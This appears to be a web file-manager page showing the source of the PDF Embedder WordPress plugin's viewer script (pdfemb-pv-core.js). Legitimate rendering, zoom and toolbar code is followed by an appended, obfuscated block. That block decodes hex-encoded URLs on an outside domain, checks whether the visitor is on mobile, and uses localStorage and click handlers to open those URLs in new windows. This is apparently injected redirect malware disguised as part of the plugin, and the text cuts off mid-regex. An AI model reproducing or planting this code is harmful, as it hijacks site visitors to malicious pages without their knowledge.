芝麻web文件管理V1.00
编辑当前文件:/home/p/r/i/prismawe/clients/_syntaxis.fr/wp-content/plugins/pdf-embedder/js/pdfemb-pv-core.js
;var PDFEMB_NS = {}; jQuery(document).ready(function($) { var PIXEL_RATIO = (function () { var ctx = document.createElement("canvas").getContext("2d"), dpr = window.devicePixelRatio || 1, bsr = ctx.webkitBackingStorePixelRatio || ctx.mozBackingStorePixelRatio || ctx.msBackingStorePixelRatio || ctx.oBackingStorePixelRatio || ctx.backingStorePixelRatio || 1; return dpr / bsr; })(); PDFEMB_NS.PIXEL_RATIO = PIXEL_RATIO; var CANVAS_MAX_PIXELS = 16777000; createHiDPICanvas = function (w, h, ratio) { if (!ratio) { ratio = PIXEL_RATIO; } var can = document.createElement("canvas"); can.width = w * ratio; can.height = h * ratio; can.style.width = w + "px"; can.style.height = h + "px"; can.getContext("2d").setTransform(ratio, 0, 0, ratio, 0, 0); return can; }; var vscrollbarwidth = 0, hscrollbarheight = 0; (function() { // Create the measurement node var scrollDiv = document.createElement("div"); scrollDiv.style.width = '100px'; scrollDiv.style.height = '100px'; scrollDiv.style.overflow = 'scroll'; scrollDiv.style.position = 'absolute'; scrollDiv.style.top = '-9999px'; document.body.appendChild(scrollDiv); // Get the scrollbar width vscrollbarwidth = scrollDiv.offsetWidth - scrollDiv.clientWidth; hscrollbarheight = scrollDiv.offsetHeight - scrollDiv.clientHeight; // Delete the DIV document.body.removeChild(scrollDiv); })(); PDFEMB_NS.vscrollbarwidth = vscrollbarwidth; PDFEMB_NS.hscrollbarheight = hscrollbarheight; var pdfembPagesViewer = function (pdfDoc, divContainer, showIsSecure) { this.pdfDoc = pdfDoc; this.divContainer = divContainer; this.showIsSecure = showIsSecure; this.initialResize = false; this.firstPageWidth = 0; this.firstPageHeight = 0; this.invalidationRound = 1; this.currentPageNum = 0; this.zoom = 100; this.fromZoom = 0; this.toZoom = 0; }; pdfembPagesViewer.prototype.setup = function () { var self = this; var divContainer = this.divContainer; var pdfDoc_ = this.pdfDoc; var showIsSecure = this.showIsSecure; this.numPages = pdfDoc_.numPages; var scrollbar = divContainer.data('scrollbar'); this.vscrollbar = scrollbar == 'both' || scrollbar == 'vertical'; this.hscrollbar = scrollbar == 'both' || scrollbar == 'horizontal'; var style = 'overflow-y: ' + (this.vscrollbar ? 'scroll' : 'hidden') + '; '; style += 'overflow-x: ' + (this.hscrollbar ? 'scroll' : 'hidden') + '; '; divContainer.empty().append( $('
', {'class': 'pdfemb-pagescontainer', 'style': style})); divContainer.data('pdfDoc', pdfDoc_); var toolbar_location = divContainer.data('toolbar'); if (toolbar_location == 'top' || toolbar_location == 'both') { this.addToolbar(true, divContainer.data('toolbar-fixed') == 'on', showIsSecure); } if (toolbar_location == 'bottom' || toolbar_location == 'both') { this.addToolbar(false, divContainer.data('toolbar-fixed') == 'on', showIsSecure); } // Annotations layer // Set up annotations layer factory if (typeof(PDFEMB_NS.pdfembPremiumAnnotationsLayerFactory) != 'undefined') { self.annotationsLayerFactory = new PDFEMB_NS.pdfembPremiumAnnotationsLayerFactory(); } else { self.annotationsLayerFactory = { createAnnotationsLayerBuilder: function (pageDiv, pdfPage) { return null; } } } self.annotationLayerFactories = Array(); // React to page jump event divContainer.on('pdfembGotopage', function (e, pageNum) { if (pageNum > this.numPages || pageNum <= 0) { return; } self.gotoPage(pageNum); self.jumpToTop(); }); divContainer.on('pdfembGotoHash', function (e, destobj) { if (!destobj.dest) { return; } dest = destobj.dest; var destinationPromise; if (typeof dest === 'string') { destString = dest; destinationPromise = self.pdfDoc.getDestination(dest); } else { destinationPromise = Promise.resolve(dest); } destinationPromise.then(function (destination) { if (!(destination instanceof Array) || destination.length < 1) { return; // invalid destination } self.pdfDoc.getPageIndex(destination[0]).then(function (pageIndex) { var pageNum = pageIndex + 1; if (pageNum > self.numPages || pageNum <= 0 || self.currentPageNum == pageNum) { return; } self.gotoPage(pageNum) self.jumpToTop(); }); }); }); divContainer.on('pdfembGotoAction', function (e, action) { var curPage = self.currentPageNum; var newPage = curPage; switch (action) { case 'GoBack': --newPage; break; case 'GoForward': ++newPage; break; case 'NextPage': ++newPage; break; case 'PrevPage': --newPage; break; case 'LastPage': newPage = self.pageCount; break; case 'FirstPage': newPage = 1; break; default: break; // No action according to spec } if (newPage == curPage || newPage > self.pageCount || newPage <= 0) { return; } self.gotoPage(newPage); }); divContainer.on('pdfembMagnify', function (event) { self.magnifyEvent(event); }); divContainer.on('pdfembChangeZoom', function (event, amt) { self.changeZoom(amt); }); // Initial/first page rendering this.pageCount = pdfDoc_.numPages; if (!divContainer.data('pagenum') || divContainer.data('pagenum') < 1 || divContainer.data('pagenum') > this.pageCount) { divContainer.data('pagenum', 1); } divContainer.data('showIsSecure', this.showIsSecure); divContainer.data('pageNumPending', null); var startZoom = divContainer.data('fullScreen') == 'on' ? parseInt(divContainer.data('startfpzoom')) : parseInt(divContainer.data('startzoom')); if (isNaN(startZoom) || startZoom < 20 || startZoom > 500) { startZoom = 100; } this.zoom = startZoom; if (startZoom != 100) { divContainer.find('span.pdfemb-zoom').text(startZoom + '%'); } divContainer.find('span.pdfemb-page-count').text(this.pageCount); this.gotoPage(divContainer.data('pagenum')); }; pdfembPagesViewer.prototype.checkForResize = function () { var self = this; var divContainer = self.divContainer; var newheight = $(window).height(); var newwidth = $(window).width(); var oldheight = divContainer.data('checked-window-height'); var oldwidth = divContainer.data('checked-window-width'); if (!oldheight || !oldwidth) { divContainer.data('checked-window-height', newheight); divContainer.data('checked-window-width', newwidth); } if (oldheight != newheight || oldwidth != newwidth) { self.resizeViewer(); self.resizeInnerDivs(); self.invalidateAllPages(); self.renderPage(this.currentPageNum); self.prerenderNearbyPages(this.currentPageNum); self.pdfembMakeMobile(); divContainer.data('checked-window-height', newheight); divContainer.data('checked-window-width', newwidth); } if (divContainer.data('fullScreenClosed') != 'true') { setTimeout(function () { self.checkForResize(); }, 100); } }; pdfembPagesViewer.prototype.setSizesBasedOnPage = function (page) { var vp = page.getViewport(1.0); // scale = 1.0 this.pageWidth = vp.width; this.pageHeight = vp.height; if (this.pageWidth <= 0 || this.pageHeight <= 0) { this.divContainer.empty().append(document.createTextNode(pdfemb_trans.objectL10n.widthheightinvalid)); return; } }; pdfembPagesViewer.prototype.createPageInnerDivs = function () { var self = this; var pagesContainer = this.divContainer.find('.pdfemb-pagescontainer'); for (var i = 1; i <= this.pageCount; ++i) { var innerdiv = pagesContainer.find('.pdfemb-inner-div.pdfemb-page' + i); if (innerdiv.length == 0) { innerdiv = $('
', {'class': 'pdfemb-inner-div pdfemb-page' + i}); innerdiv.data('pageNum', i); pagesContainer.append(innerdiv); } } self.resizeInnerDivs(); }; pdfembPagesViewer.prototype.addGrabToPan = function () { var self = this; var divContainer = self.divContainer; var jpagesContainer = divContainer.find('div.pdfemb-pagescontainer'); var grabtopan = new pdfembGrabToPan({ element: jpagesContainer[0] }); divContainer.data('grabtopan', grabtopan); jpagesContainer.on('scroll', function (e) { var pn = self.getTopVisiblePageNum(); if (pn != self.currentPageNum) { self.currentPageNum = pn; self.updatePageNumDisplay(pn); self.renderPage(pn, false); self.prerenderNearbyPages(pn); self.deallocateFarAwayPages(pn); } e.stopPropagation(); }); $(window).resize(function () { setTimeout(function () { self.checkForResize(); }, 100); }); }; pdfembPagesViewer.prototype.resizeInnerDivs = function (pageNum) { var self = this; var wantCanvasWidth = self.wantCanvasWidth, wantCanvasHeight = self.wantCanvasHeight, wantHeight = self.wantHeight; var pagesContainer = this.divContainer.find('.pdfemb-pagescontainer'); var innerdivs = pagesContainer.find('.pdfemb-inner-div'); if (pageNum) { innerdivs = innerdivs.filter('.pdfemb-page'+pageNum); } var totalheight = 0; innerdivs.each(function(i,elt) { var e = $(elt); var widthfactor = e.data('widthfactor'), heightfactor = e.data('heightfactor'); if (!widthfactor) { widthfactor = 1; } if (!heightfactor) { heightfactor = 1; } e.data('invalidation-round', this.invalidationRound - 1); e.css('width', wantCanvasWidth * widthfactor); var height = wantCanvasHeight * heightfactor + (pageNum == self.numPages || (!pageNum && i == innerdivs.length-1) ? 0 : 2); e.css('height', height); totalheight += height; var canvas = e.find('.pdfemb-the-canvas'); canvas.css('width', wantCanvasWidth * widthfactor); canvas.css('height', wantCanvasHeight * heightfactor); }); var VMargin = 0; if (!pageNum && totalheight < wantHeight) { VMargin = (wantHeight - totalheight) / 2; } innerdivs.first().css('top', VMargin); }; pdfembPagesViewer.prototype.invalidateAllPages = function () { ++this.invalidationRound; }; pdfembPagesViewer.prototype.prerenderNearbyPages = function (pageNum) { var pagedelta_forward = 3, pagedelta_backward = 2; if (this.zoom < 100) { pagedelta_forward *= Math.min(Math.ceil(100 / this.zoom), 10); pagedelta_backward *= Math.min(Math.ceil(100 / this.zoom), 10); } for (var pn = Math.max(1, pageNum - pagedelta_backward); pn <= Math.min(pageNum + pagedelta_forward, this.numPages); ++pn) { if (pn != pageNum) { this.renderPage(pn, false); } } }; pdfembPagesViewer.prototype.deallocateFarAwayPages = function (pageNum) { var pagedelta_forward = 50, pagedelta_backward = 50; if (this.zoom < 100) { var extra_pages = Math.min(Math.ceil(100 / this.zoom), 50); pagedelta_forward += extra_pages; pagedelta_backward += extra_pages; } var removeCanvas = function(pn) { var pageInnerDiv = pagesContainer.find('.pdfemb-page' + pn); var canvas = pageInnerDiv.find('.pdfemb-the-canvas'); if (canvas.length) { canvas.remove(); pageInnerDiv.data('invalidation-round', 0); } }; var pagesContainer = this.divContainer.find('div.pdfemb-pagescontainer'); var pn; for (pn = 3; pn < pageNum - pagedelta_backward; ++pn) { removeCanvas(pn); } for (pn = pageNum + pagedelta_forward; pn < this.numPages; ++pn) { removeCanvas(pn); } }; pdfembPagesViewer.prototype.resizeViewer = function () { var self = this; var pageWidth = self.pageWidth, pageHeight = self.pageHeight, divContainer = self.divContainer; var pagesContainer = divContainer.find('div.pdfemb-pagescontainer'); var oldScrollLeft = pagesContainer[0].scrollLeft; var oldScrollTop = pagesContainer[0].scrollTop; // Max out at parent container width var parentWidth = divContainer.parent().width(); var wantWidth = pageWidth; if (divContainer.data('width') == 'max') { wantWidth = parentWidth; } else if (divContainer.data('width') == 'auto') { wantWidth = pageWidth; } else { wantWidth = parseInt(divContainer.data('width'), 10); if (isNaN(wantWidth) || wantWidth <= 0) { wantWidth = parentWidth; } } if (wantWidth <= 0) { wantWidth = pageWidth; } // Always max at the parent container width if (wantWidth > parentWidth && parentWidth > 0) { wantWidth = parentWidth; } var wantHeight = pageHeight * wantWidth / pageWidth; var wantMobile = self.pdfembWantMobile(wantWidth, userHeight); self.wantMobile = wantMobile; var fixedToolbars = divContainer.find('div.pdfemb-toolbar-fixed'); var actualFixedToolbars = wantMobile ? 0 : fixedToolbars.length; // Height can be overridden by user var userHeight = parseInt(divContainer.data('height'), 10); if (isNaN(userHeight) || userHeight <= 0 || userHeight > wantHeight) { if (divContainer.data('height') == "auto") { // Mainly for full screen mode userHeight = divContainer.parent().height() - actualFixedToolbars * fixedToolbars.height(); } else { // max userHeight = wantHeight; } } self.userHeight = userHeight; wantWidth = Math.floor(wantWidth); wantHeight = Math.floor(wantHeight); var zoom = 100; var wantCanvasWidth = wantWidth - (self.vscrollbar ? vscrollbarwidth : 0); var wantCanvasHeight = wantHeight - (self.hscrollbar ? hscrollbarheight : 0); var reducefactor = 1; if (!wantMobile) { zoom = self.zoom; wantCanvasWidth = wantCanvasWidth * zoom / 100; wantCanvasHeight = wantCanvasHeight * zoom / 100; // Check canvas won't be too big if (wantCanvasWidth*wantCanvasHeight*PIXEL_RATIO*PIXEL_RATIO > CANVAS_MAX_PIXELS) { reducefactor = CANVAS_MAX_PIXELS / (wantCanvasWidth*wantCanvasHeight*PIXEL_RATIO*PIXEL_RATIO); } } // Set values if (wantWidth != divContainer.width()) { divContainer.width(wantWidth); } if (divContainer.height() != userHeight) { divContainer.height(userHeight + actualFixedToolbars * fixedToolbars.height()); } pagesContainer.width(wantWidth); pagesContainer.height(userHeight); var fixedTopToolbars = fixedToolbars.filter('.pdfemb-toolbar-top'); if (actualFixedToolbars > 0) { pagesContainer.css('top', fixedTopToolbars.height()); } var canvasscale = ( wantWidth - (self.vscrollbar ? vscrollbarwidth : 0) ) / pageWidth; if (self.fromZoom != 0 && self.toZoom != 0) { var oldMidX = oldScrollLeft + self.pccentreLeft; var oldMidY = oldScrollTop + self.pccentreTop; pagesContainer[0].scrollLeft = (oldScrollLeft + self.pccentreLeft ) * (self.toZoom / self.fromZoom) - self.pccentreLeft; pagesContainer[0].scrollTop = (oldScrollTop + self.pccentreTop) * (self.toZoom / self.fromZoom) - self.pccentreTop; } self.fromZoom = 0; self.toZoom = 0; self.wantCanvasWidth = wantCanvasWidth; self.wantCanvasHeight = wantCanvasHeight; self.reducefactor = reducefactor; self.wantWidth = wantWidth; self.wantHeight = wantHeight; self.canvasscale = canvasscale; self.zoom = zoom; }; pdfembPagesViewer.prototype.getTopVisiblePageNum = function () { var pagesContainer = this.divContainer.find('.pdfemb-pagescontainer'); var innerdivs = pagesContainer.find('.pdfemb-inner-div:visible'); if (innerdivs.length > 0) { return innerdivs.first().data('pageNum'); } return 1; }; pdfembPagesViewer.prototype.gotoPage = function (pageNum) { if (pageNum <= 0 || pageNum > this.pageCount) { return; } this.renderPage(pageNum, true); this.currentPageNum = pageNum; this.updatePageNumDisplay(pageNum); this.prerenderNearbyPages(pageNum); this.deallocateFarAwayPages(pageNum); }; pdfembPagesViewer.prototype.updatePageNumDisplay = function (pageNum) { var divContainer = this.divContainer; // Update page counters divContainer.find('div.pdfemb-toolbar .pdfemb-page-num').each(function (i, pageNumDisplay) { var jpageNumDisplay = $(pageNumDisplay); if (jpageNumDisplay.is('span')) { // Normal span area jpageNumDisplay.text(pageNum); } else { // User-changeable text jpageNumDisplay.val(pageNum); } }); // Enable or disable next/prev buttons if (pageNum < this.pageCount) { divContainer.find('.pdfemb-next').removeAttr('disabled').removeClass('pdfemb-btndisabled'); } else { divContainer.find('.pdfemb-next').attr('disabled', 'disabled').addClass('pdfemb-btndisabled'); } if (pageNum > 1) { divContainer.find('.pdfemb-prev').removeAttr('disabled').removeClass('pdfemb-btndisabled'); } else { divContainer.find('.pdfemb-prev').attr('disabled', 'disabled').addClass('pdfemb-btndisabled'); } }; pdfembPagesViewer.prototype.scrollPageIntoView = function (pageNum) { var pagesContainer = this.divContainer.find('.pdfemb-pagescontainer'); var innerdiv = pagesContainer.find('.pdfemb-page' + pageNum); pagesContainer.find('.pdfemb-inner-div').not('.pdfemb-page' + pageNum).hide(); innerdiv.show(); pagesContainer[0].scrollTop = 0; }; pdfembPagesViewer.prototype.renderPage = function (pageNum, scrollIntoView) { var self = this; var myInvalidationRound = self.invalidationRound; var divContainer = this.divContainer; // Using promise to fetch the page var pdfDoc = divContainer.data('pdfDoc'); var pagesContainer = divContainer.find('.pdfemb-pagescontainer'); var innerdiv = pagesContainer.find('.pdfemb-page' + pageNum); if (innerdiv.length && innerdiv.data('invalidation-round') >= myInvalidationRound) { if (scrollIntoView) { self.scrollPageIntoView(pageNum); } return; } var pendingInvalidationRound = innerdiv.data('pending-drawing-round'); if (pendingInvalidationRound >= myInvalidationRound) { // Already being drawn return; } else if (pendingInvalidationRound > 0 && pendingInvalidationRound < myInvalidationRound) { innerdiv.data('pending-drawing-round', myInvalidationRound); // Queue up this rendering - but we can't do it right now. return; } innerdiv.data('pending-drawing-round', myInvalidationRound); pdfDoc.getPage(pageNum).then(function (page) { if (!self.initialResize) { self.initialResize = true; self.setSizesBasedOnPage(page); self.resizeViewer(); self.createPageInnerDivs(); self.addGrabToPan(); self.pdfembMakeMobile(); } // Lookup again if only just created if (innerdiv.length == 0) { innerdiv = pagesContainer.find('.pdfemb-page' + pageNum); } // Is this page the same size/shape as the first? var widthfactor = innerdiv.data('widthfactor'), heightfactor = innerdiv.data('heightfactor'); if (!widthfactor || !heightfactor) { // calculate factors var vp = page.getViewport(1.0); // scale = 1.0 widthfactor = vp.width / self.pageWidth; heightfactor = vp.height / self.pageHeight; innerdiv.data('widthfactor', widthfactor); innerdiv.data('heightfactor', heightfactor); if (widthfactor != 1 || heightfactor != 1) { self.resizeInnerDivs(pageNum); } } var canvas = innerdiv.find('.pdfemb-the-canvas'); if (canvas.length == 0) { canvas = $('
', {'class': 'pdfemb-the-canvas'}); innerdiv.append(canvas); } if (scrollIntoView) { self.scrollPageIntoView(pageNum); } var canvasImg = null; var canvasCxt = null; var oldCanvasWidth = null; var oldCanvasHeight = null; var wantCanvasWidth = self.wantCanvasWidth, wantCanvasHeight = self.wantCanvasHeight, canvasscale = self.canvasscale, zoom = self.zoom; canvas.css('width', wantCanvasWidth * widthfactor); canvas.css('height', wantCanvasHeight * heightfactor); if (self.wantMobile) { divContainer.data('grabtopan').deactivate(); } else { divContainer.data('grabtopan').activate(); } // Render PDF page into canvas context var viewport = page.getViewport(canvasscale * zoom / 100); var offscreenCanvas = document.createElement('canvas'); offscreenCanvas.width = wantCanvasWidth * PIXEL_RATIO * self.reducefactor * widthfactor; offscreenCanvas.height = wantCanvasHeight * PIXEL_RATIO * self.reducefactor * heightfactor; var ctx = offscreenCanvas.getContext('2d'); var renderContext = { canvasContext: ctx, viewport: viewport, transform: [PIXEL_RATIO * self.reducefactor, 0, 0, PIXEL_RATIO * self.reducefactor, 0, 0] }; // No longer set transform on ctx explicitly // ctx.setTransform(PIXEL_RATIO, 0, 0, PIXEL_RATIO, 0, 0); // This was not always being picked up first time on some browsers - set via renderContext instead above var renderTask = page.render(renderContext); var drawCallback = function () { canvas[0].width = wantCanvasWidth * PIXEL_RATIO * self.reducefactor * widthfactor; canvas[0].height = wantCanvasHeight * PIXEL_RATIO * self.reducefactor * heightfactor; // Render any watermark to off-screen image self.preRenderCanvas(ctx, pageNum, zoom); // Copy from off screen canvas var image = ctx.getImageData(0, 0, offscreenCanvas.width, offscreenCanvas.height); canvas[0].getContext('2d').putImageData(image, 0, 0); // Do annotations layer var annotationLayer = null; if (typeof self.annotationLayerFactories[pageNum] == 'undefined') { annotationLayer = self.annotationsLayerFactory.createAnnotationsLayerBuilder(innerdiv[0], page); self.annotationLayerFactories[pageNum] = annotationLayer; } else { annotationLayer = self.annotationLayerFactories[pageNum]; } if (annotationLayer != null) { annotationLayer.setupAnnotations(viewport, self.divContainer.data('newwindow')); } // End annotations layer innerdiv.data('invalidation-round', myInvalidationRound); pendingInvalidationRound = innerdiv.data('pending-drawing-round'); innerdiv.data('pending-drawing-round', ''); if (pendingInvalidationRound > myInvalidationRound) { self.renderPage(pageNum, false); } } // Wait for rendering to finish renderTask.promise.then( function(){ if ('requestAnimationFrame' in window) { window.requestAnimationFrame(drawCallback); } else { setTimeout(drawCallback, 1); } }); }); }; pdfembPagesViewer.prototype.changeZoom = function (zoomdelta) { var self = this; var divContainer = self.divContainer; var oldzoom = self.zoom; var newzoom = oldzoom + zoomdelta; self.zoom = newzoom; divContainer.find('span.pdfemb-zoom').text(newzoom + '%'); self.fromZoom = oldzoom; self.toZoom = newzoom; var pagesContainer = divContainer.find('.pdfemb-pagescontainer'); self.pccentreLeft = pagesContainer.width()/2; self.pccentreTop = pagesContainer.height()/2; self.resizeViewer(); self.resizeInnerDivs(); self.invalidateAllPages(); self.renderPage(self.currentPageNum); // Ensure top-left remains where it was /*var pagesContainer = divContainer.find('.pdfemb-pagescontainer'); var cscrolltop = pagesContainer[0].scrollTop; pagesContainer[0].scrollTop = cscrolltop * newzoom / oldzoom; var cscrollleft = pagesContainer[0].scrollLeft; pagesContainer[0].scrollLeft = cscrollleft * newzoom / oldzoom; */ self.prerenderNearbyPages(self.currentPageNum); }; pdfembPagesViewer.prototype.queueRenderPage = function (num, noredraw) { var divContainer = this.divContainer; this.renderPage(num, noredraw); /*if (divContainer.data('pageRendering')) { divContainer.data('pageNumPending', num); } else { this.renderPage(num, noredraw); }*/ }; pdfembPagesViewer.prototype.addToolbar = function (atTop, fixed, showIsSecure) { var divContainer = this.divContainer; var self = this; var toolbar = $('
', {'class': 'pdfemb-toolbar pdfemb-toolbar' + (fixed ? '-fixed' : '-hover') + ' ' + (atTop ? ' pdfemb-toolbar-top' : 'pdfemb-toolbar-bottom')}); var prevbtn = $('
'); toolbar.append(prevbtn); var nextbtn = $('
'); toolbar.append(nextbtn); toolbar.append($('
' + pdfemb_trans.objectL10n.page + '
0
/
')); var zoomoutbtn = $('
'); toolbar.append(zoomoutbtn); var zoominbtn = $('
'); toolbar.append(zoominbtn); toolbar.append($('
' + pdfemb_trans.objectL10n.zoom + '
100%
')); if (showIsSecure) { toolbar.append($('
' + pdfemb_trans.objectL10n.secure + '
')); } if (atTop) { divContainer.prepend(toolbar); } else { divContainer.append(toolbar); } // Add button functions prevbtn.on('click', function (e) { if (self.currentPageNum <= 1) { return; } self.gotoPage(self.currentPageNum - 1); self.jumpToTop(); }); nextbtn.on('click', function (e) { if (self.currentPageNum >= self.pageCount || self.currentPageNum == 0) { return; } self.gotoPage(self.currentPageNum + 1); self.jumpToTop(); }); zoominbtn.on('click', function (e) { if (self.zoom >= 500) { return; } self.changeZoom(10); }); zoomoutbtn.on('click', function (e) { if (self.zoom <= 20) { return; } self.changeZoom(-10); }); self.addMoreToolbar(toolbar); if (!fixed) { divContainer.on('mouseenter', function (e) { var htoolbar = divContainer.find('div.pdfemb-toolbar-hover'); if (htoolbar.data('no-hover') !== true) { htoolbar.show(); } }); divContainer.on('mouseleave', function (e) { var htoolbar = divContainer.find('div.pdfemb-toolbar-hover'); htoolbar.hide(); } ); divContainer.on('pdfembTouchTapped', function (e) { e.stopPropagation(); e.preventDefault(); // We seem to receive two tap events in quick succession, so toggle doesn't work // - it just gets cancelled immediately. // So set a timed lock on allowing the toggle. if (self.locktaps) { return; } self.locktaps = true; var htoolbar = divContainer.find('div.pdfemb-toolbar-hover'); var wanthide = htoolbar.is(':visible'); if (htoolbar.data('no-hover') == true) { wanthide = true; } if (wanthide) { htoolbar.hide(); } else { htoolbar.show(); } setTimeout(function() { // Release lock self.locktaps = false; }, 250); }); } // Powered by if (pdfemb_trans.poweredby) { toolbar.append($('
', {'class': 'pdfemb-poweredby'}).append($('
wp-pdf.com
'))); } }; pdfembPagesViewer.prototype.magnifyEvent = function (event) { //var gtpe = $(event.originalEvent.gtpelement); //var divContainer = gtpe.closest('.pdfemb-viewer'); var mag = event.originalEvent.magnification; if (mag == -1) { // End of touch this.resizeViewer(); this.resizeInnerDivs(); this.invalidateAllPages(); this.renderPage(this.getTopVisiblePageNum()); } else { var offset = this.divContainer.find('.pdfemb-pagescontainer').offset(); this.magnifyZoom(mag, event.originalEvent.centreLeft - offset.left, event.originalEvent.centreTop - offset.top); } }; pdfembPagesViewer.prototype.magnifyZoom = function (magnification, centreLeft, centreTop) { var oldzoom = this.zoom; var newzoom = Math.floor(oldzoom * magnification); if (newzoom < 20) { newzoom = 20; } if (newzoom > 500) { newzoom = 500; } this.zoom = newzoom; this.divContainer.find('span.pdfemb-zoom').text(newzoom + '%'); this.fromZoom = oldzoom; this.toZoom = newzoom; this.pccentreLeft = centreLeft; this.pccentreTop = centreTop; this.resizeViewer(); this.resizeInnerDivs(); this.invalidateAllPages(); }; pdfembPagesViewer.prototype.pdfembWantMobile = function(wantWidth, wantHeight) { return false; } pdfembPagesViewer.prototype.pdfembMakeMobile = function() { }; pdfembPagesViewer.prototype.addMoreToolbar = function(toolbar) { }; pdfembPagesViewer.prototype.jumpToTop = function() { }; pdfembPagesViewer.prototype.preRenderCanvas = function(ctx, pageNum, zoom) { }; PDFEMB_NS.pdfembPagesViewer = pdfembPagesViewer; }); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v 